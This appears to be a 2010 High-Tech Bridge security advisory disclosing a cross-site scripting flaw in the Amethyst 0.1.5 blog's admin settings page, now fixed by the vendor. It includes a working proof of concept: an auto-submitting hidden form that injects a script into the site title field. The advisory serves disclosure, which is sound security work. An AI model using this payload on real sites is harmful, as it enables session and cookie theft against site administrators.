[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS vulnerability in Amethyst



Vulnerability ID: HTB22501
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_1.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst ) 
Vulnerable Version: 0.1.5 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/update_settings script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/update_settings"; method="post"  name="main" >

<input type="hidden" name="setting[site_title]" value='My blog"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_description]" value="Welcome to My Amethyst Blog!" />
<input type="hidden" name="setting[site_keywords]" value="amethyst blog, xss" />
<input type="hidden" name="setting[enable_site_title]" value="1" />
<input type="hidden" name="setting[posts_per_page]" value="10" />
<input type="hidden" name="setting[archive_months_to_show]" value="12" />
<input type="hidden" name="setting[enable_menu_archive]" value="1" />
<input type="hidden" name="setting[enable_menu_search]" value="1" />
<input type="hidden" name="setting[enable_menu_tools]" value="0" />
<input type="hidden" name="setting[enable_menu_other]" value="1" />
<input type="hidden" name="setting[item_thumbnail_width]" value="100" />
<input type="hidden" name="setting[item_thumbnail_height]" value="100" />
<input type="hidden" name="setting[resize_item_images]" value="0" />
<input type="hidden" name="setting[item_image_width]" value="500" />
<input type="hidden" name="setting[item_image_height]" value="500" />
<input type="hidden" name="commit" value="Update Settings" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version